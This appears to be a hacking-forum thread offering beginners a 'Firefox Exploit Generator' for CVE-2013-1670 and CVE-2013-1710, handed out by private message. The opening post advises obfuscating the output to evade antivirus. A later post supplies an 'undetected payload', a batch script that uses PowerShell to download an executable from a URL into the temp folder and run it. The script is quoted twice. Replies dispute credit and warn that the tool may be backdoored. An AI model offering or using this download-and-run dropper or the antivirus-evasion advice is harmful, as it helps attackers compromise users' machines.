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 Thread: Firefox Exploit Generator - CVE-2013-1670/CVE-2013-1710
 

 prilux - July 28, 2017, 4:38 am 

 
 This is a toolkit to generate Firefox exploits that works on Firefox from version 15.0 to version 23.0
on Windows.
 
 Note: You will need to obfuscate or encode the result generated in order to avoid or reduce
antivirus detection. Also both generators have the exploits in plain text therefore they may be
detected. (Don't trust, check the source before using them)
 
 The purpose of both generators is to offer to beginners a easy way to generate custom exploit code
for this two vulnerabilities without requiring coding. (Just Copy/Paste or simple batch programming)
 
 Download:
 PM me
 
 Virus Analysis (6/56)
 
https://virustotal.com/en/file/a8838ddcd12db1a60491f1b02f2ed271d74b461d90652421b0f518646d9
efe80/analysis/1501211198/

yotoprules - July 28, 2017, 4:50 am 
Sent you a PM. Looks cool.

syard - July 28, 2017, 7:04 am 
Yeah "PM me for download" bullshit and please give the fucking credits you did not make this,
Privateloader did.

HiddenEyE - July 28, 2017, 7:17 am 
i can bet that this exploit does not still work on recent firefox.

Woods - July 28, 2017, 7:19 am 
Be cautious on what you open, is defenitly open in a box or sandboxie

Ranger. - July 28, 2017, 7:23 am 
 (Jul 28, 2017 07:17 AM)The Craw$er Wrote: [CITE] i can bet that this exploit does not still work on
recent firefox.
 "that works on Firefox from version 15.0 to version 23.0 on Windows"
 Current version: 54.0
 
 You don't have to be a PC mastermind in order to realize that you should first read the 1st sentence
in a thread before making a dumb statement regarding the thread, lmao..

syard - July 28, 2017, 7:42 am 
 (Jul 28, 2017 07:19 AM)Woods Wrote: [CITE] Be cautious on what you open, is defenitly open in a
box or sandboxie

https://hackforums.net
https://hackforums.net/showthread.php?tid=5680420
https://virustotal.com/en/file/a8838ddcd12db1a60491f1b02f2ed271d74b461d90652421b0f518646d9efe80/analysis/1501211198/
https://virustotal.com/en/file/a8838ddcd12db1a60491f1b02f2ed271d74b461d90652421b0f518646d9efe80/analysis/1501211198/
https://hackforums.net/showthread.php?pid=55461194#pid55461194
https://hackforums.net/showthread.php?pid=55461212#pid55461212


 Wth are you talking about ?

HiddenEyE - July 28, 2017, 7:49 am 
 (Jul 28, 2017 07:23 AM)Ranger. Wrote: [CITE] "that works on Firefox from version 15.0 to version
23.0 on Windows"
 Current version: 54.0
 
 You don't have to be a PC mastermind in order to realize that you should first read the 1st sentence
in a thread before making a dumb statement regarding the thread, lmao..this thread appears two in
this section.
 check the other thread and my post there before calling names
 
 besides run with caution cause it can be easily backdoored

Mr_Sploiter - July 28, 2017, 1:28 pm 
Firefox update itself automatically :(

prilux - August 7, 2017, 10:41 am 
Undetected payload for Firefox Exploit Generator.
 
 Needs Admin privileges
 
 Code Set "URL=https://www.virustotal.com/static/bin/vtuploader2.2.exe"
 Set "Setup_File=%temp%\vtuploader2.2.exe"
 Call :Download "%URL%" "%Setup_File%"
 Goto Exit
 :Download <url> <File>
 Powershell.exe -command "(New-Object System.Net.WebClient).DownloadFile('%1','%2')"
 start %temp%\vtuploader2.2.exe
 :Exit
 exit /b

HiddenEyE - August 8, 2017, 12:30 am 
 (Aug 7, 2017 10:41 AM)prilux Wrote: [CITE] Undetected payload for Firefox Exploit Generator.
 
 Needs Admin privileges
 
 Code Set "URL=https://www.virustotal.com/static/bin/vtuploader2.2.exe"
 Set "Setup_File=%temp%\vtuploader2.2.exe"
 Call :Download "%URL%" "%Setup_File%"
 Goto Exit
 :Download <url> <File>
 Powershell.exe -command "(New-Object System.Net.WebClient).DownloadFile('%1','%2')"
 start %temp%\vtuploader2.2.exe
 :Exit
 exit /b
 why are you updating this thread, having in mind that the exploit attached to the published tool is
old

prilux - August 8, 2017, 5:47 am 
This payload was something i came up but didn't had it published yet.

lahshame - October 13, 2017, 4:22 pm 

https://hackforums.net/showthread.php?pid=55461233#pid55461233
https://hackforums.net/showthread.php?pid=55551343#pid55551343


I can't pm you now,can you send me the download link? Thanks in advance

prilux - October 14, 2017, 1:56 am 
 (Oct 13, 2017 04:22 PM)lahshame Wrote: [CITE] I can't pm you now,can you send me the download
link? Thanks in advance
 Check your pm box

 

https://hackforums.net/showthread.php?pid=56060278#pid56060278

